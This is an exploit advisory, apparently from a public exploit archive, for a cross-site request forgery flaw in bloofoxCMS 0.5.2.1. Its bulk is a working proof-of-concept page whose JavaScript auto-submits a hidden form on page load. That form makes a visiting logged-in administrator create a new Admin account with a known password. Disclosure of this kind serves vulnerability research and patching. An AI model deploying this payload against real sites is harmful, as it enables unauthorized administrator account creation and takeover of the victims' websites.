bloofoxCMS 0.5.2.1 - CSRF (Add user)

# Title: bloofoxCMS 0.5.2.1 - CSRF (Add user)
# Exploit Author: LiPeiYi
# Date: 2020-12-18
# Vendor Homepage: https://www.bloofox.com/
# Software Link: https://github.com/alexlang24/bloofoxCMS/releases/tag/0.5.2.1
# Version: 0.5.1.0 -.5.2.1
# Tested on: windows 10

#Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site

###PoC
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='username' value='testuser01' />";
fields += " <input type='hidden' name='password' value='testpw123' />";  
fields += " <input type='hidden' name='pwdconfirm' value='testpw123' />";  
fields += "<input type='hidden' name='3' value='Admin' />";  
fields += " <input type='hidden' name='blocked' value='0' />";  
fields += "<input type='hidden' name='deleted' value='0' />";  
fields += "<input type='hidden' name='status' value='1' />";  
fields += "<input type='hidden' name='login_page' value='0' />";  
fields += "<input type='hidden' name='send' value='Add+User' />";  


var url = "http://test.com/admin/index.php?mode=user&action=new&submit=send";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>

</body>
</html>


exp detail：https://github.com/alexlang24/bloofoxCMS/issues/4